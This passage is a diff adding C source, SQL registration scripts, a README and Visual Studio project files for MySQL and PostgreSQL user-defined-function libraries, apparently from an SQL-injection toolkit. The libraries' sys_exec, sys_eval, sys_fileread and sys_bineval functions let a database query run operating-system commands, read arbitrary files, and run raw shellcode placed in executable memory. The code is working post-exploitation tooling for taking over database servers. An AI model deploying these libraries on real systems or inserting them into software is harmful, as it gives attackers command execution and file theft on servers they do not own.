int32 argv0_size;
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||
len = (size_t)argv0_size;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, VARDATA(argv0), len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
PG_RETURN_INT32(1);
|
||||
|
||||
strncpy((char *)addr, VARDATA(argv0), len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
PG_RETURN_INT32(0);
|
||||
}
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#undef fopen
|
||||
|
||||
PG_FUNCTION_INFO_V1(sys_fileread);
|
||||
#ifdef PGDLLIMPORT
|
||||
extern PGDLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#else
|
||||
extern DLLIMPORT Datum sys_fileread(PG_FUNCTION_ARGS) {
|
||||
#endif
|
||||
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||
text *result_text;
|
||||
int32 len;
|
||||
int32 i, j;
|
||||
char *filename;
|
||||
char *result;
|
||||
char *buffer;
|
||||
char table[] = "0123456789ABCDEF";
|
||||
FILE *file;
|
||||
|
||||
filename = text_ptr_to_char_ptr(argv0);
|
||||
|
||||
file = fopen(filename, "rb");
|
||||
if (!file)
|
||||
{
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
fseek(file, 0, SEEK_END);
|
||||
len = ftell(file);
|
||||
fseek(file, 0, SEEK_SET);
|
||||
|
||||
buffer=(char *)malloc(len + 1);
|
||||
if (!buffer)
|
||||
{
|
||||
fclose(file);
|
||||
PG_RETURN_NULL();
|
||||
}
|
||||
|
||||
fread(buffer, len, 1, file);
|
||||
fclose(file);
|
||||
|
||||
result = (char *)malloc(2*len + 1);
|
||||
for (i=0, j=0; i<len; i++)
|
||||
{
|
||||
result[j++] = table[(buffer[i] >> 4) & 0x0f];
|
||||
result[j++] = table[ buffer[i] & 0x0f];
|
||||
}
|
||||
result[j] = '\0';
|
||||
|
||||
result_text = chr_ptr_to_text_ptr(result);
|
||||
|
||||
free(result);
|
||||
free(buffer);
|
||||
free(filename);
|
||||
|
||||
PG_RETURN_POINTER(result_text);
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
/*
|
||||
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2009-2010 Bernardo Damele A. G.
|
||||
web: http://bernardodamele.blogspot.com/
|
||||
email: bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
CREATE OR REPLACE FUNCTION sys_fileread(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_fileread' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||
22
extra/udfhack/linux/README.txt
Normal file
22
extra/udfhack/linux/README.txt
Normal file
@@ -0,0 +1,22 @@
|
||||
Before compiling, you need to adapt the following to your environment:
|
||||
|
||||
Variables in install.sh script:
|
||||
--------------------------------------------------------------------------
|
||||
Variable name Variable description
|
||||
--------------------------------------------------------------------------
|
||||
USER Database management system administrative username
|
||||
PORT Database management system port
|
||||
VERSION Database management system version (PostgreSQL only)
|
||||
|
||||
Variable in Makefile (MySQL only):
|
||||
--------------------------------------------------------------------------
|
||||
Variable name Variable description
|
||||
--------------------------------------------------------------------------
|
||||
LIBDIR Database management system absolute file system
|
||||
path for third party libraries
|
||||
|
||||
Then you can launch './install.sh' if you want to compile the shared
|
||||
object from the source code and create the user-defined functions on the
|
||||
database management system.
|
||||
If you only want to compile the shared object, you need to call only the
|
||||
'make' command.
|
||||
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual C++ Express 2005
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_mysqludf_sys", "lib_mysqludf_sys\lib_mysqludf_sys.vcproj", "{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.ActiveCfg = Release|Win32
|
||||
{4D362A3E-CA53-444C-B1C8-C49641823875}.Release|Win32.Build.0 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(SolutionProperties) = preSolution
|
||||
HideSolutionNode = FALSE
|
||||
EndGlobalSection
|
||||
EndGlobal
|
||||
@@ -0,0 +1,567 @@
|
||||
/*
|
||||
lib_mysqludf_sys - a library with miscellaneous (operating) system level functions
|
||||
Copyright (C) 2007 Roland Bouman
|
||||
Copyright (C) 2008-2010 Roland Bouman and Bernardo Damele A. G.
|
||||
web: http://www.mysqludf.org/
|
||||
email: mysqludfs@gmail.com, bernardo.damele@gmail.com
|
||||
|
||||
This library is free software; you can redistribute it and/or
|
||||
modify it under the terms of the GNU Lesser General Public
|
||||
License as published by the Free Software Foundation; either
|
||||
version 2.1 of the License, or (at your option) any later version.
|
||||
|
||||
This library is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||
Lesser General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU Lesser General Public
|
||||
License along with this library; if not, write to the Free Software
|
||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
*/
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
#define DLLEXP __declspec(dllexport)
|
||||
#else
|
||||
#define DLLEXP
|
||||
#include <sys/types.h>
|
||||
#include <sys/wait.h>
|
||||
#include <unistd.h>
|
||||
#endif
|
||||
|
||||
#ifdef STANDARD
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <time.h>
|
||||
#ifdef __WIN__
|
||||
typedef unsigned __int64 ulonglong;
|
||||
typedef __int64 longlong;
|
||||
#else
|
||||
typedef unsigned long long ulonglong;
|
||||
typedef long long longlong;
|
||||
#endif /*__WIN__*/
|
||||
#else
|
||||
#include <my_global.h>
|
||||
#include <my_sys.h>
|
||||
#endif
|
||||
#include <mysql.h>
|
||||
#include <m_ctype.h>
|
||||
#include <m_string.h>
|
||||
#include <stdlib.h>
|
||||
|
||||
#include <ctype.h>
|
||||
|
||||
#ifdef HAVE_DLOPEN
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define LIBVERSION "lib_mysqludf_sys version 0.0.4"
|
||||
|
||||
#ifdef __WIN__
|
||||
#define SETENV(name,value) SetEnvironmentVariable(name,value);
|
||||
#else
|
||||
#define SETENV(name,value) setenv(name,value,1);
|
||||
#endif
|
||||
|
||||
DLLEXP
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_get
|
||||
*
|
||||
* Gets the value of the specified environment variable.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_set
|
||||
*
|
||||
* Sets the value of the environment variables.
|
||||
* This function accepts a set of name/value pairs
|
||||
* which are then set as environment variables.
|
||||
* Use sys_get to retrieve the value of such a variable
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_exec
|
||||
*
|
||||
* executes the argument commandstring and returns its exit status.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_eval
|
||||
*
|
||||
* executes the argument commandstring and returns its standard output.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
);
|
||||
|
||||
/**
|
||||
* sys_bineval
|
||||
*
|
||||
* executes bynary opcodes.
|
||||
* Beware that this can be a security hazard.
|
||||
*/
|
||||
DLLEXP
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
);
|
||||
|
||||
DLLEXP
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||
#endif
|
||||
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
/**
|
||||
* lib_mysqludf_sys_info
|
||||
*/
|
||||
my_bool lib_mysqludf_sys_info_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
my_bool status;
|
||||
if(args->arg_count!=0){
|
||||
strcpy(
|
||||
message
|
||||
, "No arguments allowed (udf: lib_mysqludf_sys_info)"
|
||||
);
|
||||
status = 1;
|
||||
} else {
|
||||
status = 0;
|
||||
}
|
||||
return status;
|
||||
}
|
||||
|
||||
void lib_mysqludf_sys_info_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* lib_mysqludf_sys_info(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
strcpy(result,LIBVERSION);
|
||||
*length = strlen(LIBVERSION);
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_get_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count==1
|
||||
&& args->arg_type[0]==STRING_RESULT){
|
||||
initid->maybe_null = 1;
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_get_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_get(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char* value = getenv(args->args[0]);
|
||||
if(value == NULL){
|
||||
*is_null = 1;
|
||||
} else {
|
||||
*length = strlen(value);
|
||||
}
|
||||
return value;
|
||||
}
|
||||
|
||||
my_bool sys_set_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
if(args->arg_count!=2){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly two arguments"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
if(args->arg_type[0]!=STRING_RESULT){
|
||||
strcpy(
|
||||
message
|
||||
, "Expected string type for name parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
args->arg_type[1]=STRING_RESULT;
|
||||
if((initid->ptr=malloc(
|
||||
args->lengths[0]
|
||||
+ 1
|
||||
+ args->lengths[1]
|
||||
+ 1
|
||||
))==NULL){
|
||||
strcpy(
|
||||
message
|
||||
, "Could not allocate memory"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_set_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
if (initid->ptr!=NULL){
|
||||
free(initid->ptr);
|
||||
}
|
||||
}
|
||||
|
||||
long long sys_set(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
char *name = initid->ptr;
|
||||
char *value = name + args->lengths[0] + 1;
|
||||
memcpy(
|
||||
name
|
||||
, args->args[0]
|
||||
, args->lengths[0]
|
||||
);
|
||||
*(name + args->lengths[0]) = '\0';
|
||||
memcpy(
|
||||
value
|
||||
, args->args[1]
|
||||
, args->lengths[1]
|
||||
);
|
||||
*(value + args->lengths[1]) = '\0';
|
||||
return SETENV(name,value);
|
||||
}
|
||||
|
||||
my_bool sys_exec_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_exec_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
my_ulonglong sys_exec(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
return system(args->args[0]);
|
||||
}
|
||||
|
||||
my_bool sys_eval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char *message
|
||||
){
|
||||
unsigned int i=0;
|
||||
if(args->arg_count == 1
|
||||
&& args->arg_type[i]==STRING_RESULT){
|
||||
return 0;
|
||||
} else {
|
||||
strcpy(
|
||||
message
|
||||
, "Expected exactly one string type parameter"
|
||||
);
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
|
||||
void sys_eval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
}
|
||||
|
||||
char* sys_eval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
, char* result
|
||||
, unsigned long* length
|
||||
, char *is_null
|
||||
, char *error
|
||||
){
|
||||
FILE *pipe;
|
||||
char *line;
|
||||
unsigned long outlen, linelen;
|
||||
|
||||
line = (char *)malloc(1024);
|
||||
result = (char *)malloc(1);
|
||||
outlen = 0;
|
||||
|
||||
result[0] = (char)0;
|
||||
|
||||
pipe = popen(args->args[0], "r");
|
||||
|
||||
while (fgets(line, sizeof(line), pipe) != NULL) {
|
||||
linelen = strlen(line);
|
||||
result = (char *)realloc(result, outlen + linelen);
|
||||
strncpy(result + outlen, line, linelen);
|
||||
outlen = outlen + linelen;
|
||||
}
|
||||
|
||||
pclose(pipe);
|
||||
|
||||
if (!(*result) || result == NULL) {
|
||||
*is_null = 1;
|
||||
} else {
|
||||
result[outlen-1] = 0x00;
|
||||
*length = strlen(result);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
my_bool sys_bineval_init(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
return 0;
|
||||
}
|
||||
|
||||
void sys_bineval_deinit(
|
||||
UDF_INIT *initid
|
||||
){
|
||||
|
||||
}
|
||||
|
||||
int sys_bineval(
|
||||
UDF_INIT *initid
|
||||
, UDF_ARGS *args
|
||||
){
|
||||
size_t len;
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
int pID;
|
||||
char *code;
|
||||
#else
|
||||
int *addr;
|
||||
size_t page_size;
|
||||
pid_t pID;
|
||||
#endif
|
||||
|
||||
len = (size_t)strlen(args->args[0]);
|
||||
|
||||
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||
// allocate a +rwx memory page
|
||||
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
strncpy(code, args->args[0], len);
|
||||
|
||||
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||
#else
|
||||
pID = fork();
|
||||
if(pID<0)
|
||||
return 1;
|
||||
|
||||
if(pID==0)
|
||||
{
|
||||
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||
|
||||
// mmap an rwx memory page
|
||||
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||
|
||||
if (addr == MAP_FAILED)
|
||||
return 1;
|
||||
|
||||
strncpy((char *)addr, args->args[0], len);
|
||||
|
||||
((void (*)(void))addr)();
|
||||
}
|
||||
|
||||
if(pID>0)
|
||||
waitpid(pID, 0, WNOHANG);
|
||||
#endif
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
#if defined(_WIN64)
|
||||
void __exec_payload(LPVOID);
|
||||
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__exec_payload(lpParameter);
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#elif defined(_WIN32) || defined(__WIN32__) || defined(WIN32)
|
||||
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||
{
|
||||
__try
|
||||
{
|
||||
__asm
|
||||
{
|
||||
mov eax, [lpParameter]
|
||||
call eax
|
||||
}
|
||||
}
|
||||
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||
{
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif /* HAVE_DLOPEN */
|
||||
@@ -0,0 +1,192 @@
|
||||
<?xml version="1.0" encoding="Windows-1252"?>
|
||||
<VisualStudioProject
|
||||
ProjectType="Visual C++"
|
||||
Version="8,00"
|
||||
Name="lib_mysqludf_sys"
|
||||
ProjectGUID="{4D362A3E-CA53-444C-B1C8-C49641823875}"
|
||||
RootNamespace="lib_mysqludf_sys"
|
||||
TargetFrameworkVersion="196613"
|
||||
>
|
||||
<Platforms>
|
||||
<Platform
|
||||
Name="Win32"
|
||||
/>
|
||||
</Platforms>
|
||||
<ToolFiles>
|
||||
</ToolFiles>
|
||||
<Configurations>
|
||||
<Configuration
|
||||
Name="Debug|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="0"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
MinimalRebuild="true"
|
||||
BasicRuntimeChecks="3"
|
||||
RuntimeLibrary="3"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="4"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)"
|
||||
GenerateDebugInformation="true"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
<Configuration
|
||||
Name="Release|Win32"
|
||||
OutputDirectory="$(SolutionDir)$(ConfigurationName)"
|
||||
IntermediateDirectory="$(ConfigurationName)"
|
||||
ConfigurationType="2"
|
||||
CharacterSet="2"
|
||||
WholeProgramOptimization="1"
|
||||
>
|
||||
<Tool
|
||||
Name="VCPreBuildEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCustomBuildTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXMLDataGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCWebServiceProxyGeneratorTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCMIDLTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCCLCompilerTool"
|
||||
Optimization="1"
|
||||
EnableIntrinsicFunctions="true"
|
||||
FavorSizeOrSpeed="2"
|
||||
AdditionalIncludeDirectories="$(PLATFORM_SDK_DIR)\include;$(MYSQL_SERVER_DIR)\include"
|
||||
PreprocessorDefinitions="HAVE_DLOPEN"
|
||||
RuntimeLibrary="2"
|
||||
EnableFunctionLevelLinking="true"
|
||||
WarningLevel="3"
|
||||
DebugInformationFormat="0"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManagedResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCResourceCompilerTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPreLinkEventTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCLinkerTool"
|
||||
AdditionalLibraryDirectories="$(PLATFORM_SDK_DIR)\Lib"
|
||||
GenerateDebugInformation="false"
|
||||
OptimizeReferences="2"
|
||||
EnableCOMDATFolding="2"
|
||||
OptimizeForWindows98="1"
|
||||
TargetMachine="1"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCALinkTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCManifestTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCXDCMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCBscMakeTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCFxCopTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCAppVerifierTool"
|
||||
/>
|
||||
<Tool
|
||||
Name="VCPostBuildEventTool"
|
||||
/>
|
||||
</Configuration>
|
||||
</Configurations>
|
||||
<References>
|
||||
</References>
|
||||
<Files>
|
||||
<Filter
|
||||
Name="Source Files"
|
||||
Filter="cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx"
|
||||
UniqueIdentifier="{4FC737F1-C7A5-4376-A066-2A32D752A2FF}"
|
||||
>
|
||||
<File
|
||||
RelativePath=".\lib_mysqludf_sys.c"
|
||||
>
|
||||
</File>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Header Files"
|
||||
Filter="h;hpp;hxx;hm;inl;inc;xsd"
|
||||
UniqueIdentifier="{93995380-89BD-4b04-88EB-625FBE52EBFB}"
|
||||
>
|
||||
</Filter>
|
||||
<Filter
|
||||
Name="Resource Files"
|
||||
Filter="rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav"
|
||||
UniqueIdentifier="{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}"
|
||||
>
|
||||
</Filter>
|
||||
</Files>
|
||||
<Globals>
|
||||
</Globals>
|
||||
</VisualStudioProject>
|
||||
@@ -0,0 +1,20 @@
|
||||
|
||||
Microsoft Visual Studio Solution File, Format Version 9.00
|
||||
# Visual C++ Express 2005
|
||||
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "lib_postgresqludf_sys", "lib_postgresqludf_sys\lib_postgresqludf_sys.vcproj", "{3527D58C-177A-47B3-981B-8104EBB3F943}"
|
||||
EndProject
|
||||
Global
|
||||
GlobalSection(SolutionConfigurationPlatforms) = preSolution
|
||||
Debug|Win32 = Debug|Win32
|
||||
Release|Win32 = Release|Win32
|
||||
EndGlobalSection
|
||||
GlobalSection(ProjectConfigurationPlatforms) = postSolution
|
||||
{3527D58C-177A-47B3-981B-8104EBB3F943}.Debug|Win32.ActiveCfg = Debug|Win32
|
||||
{3527D58C-177A-47B3-981B-8104EBB3F943}.Debug|Win32.Build.0 = Debug|Win32
|
||||
{3527D58C-177A-47B3-981B-8104EBB3F943}.Release|Win32.ActiveCfg = Release|Win32
|
||||
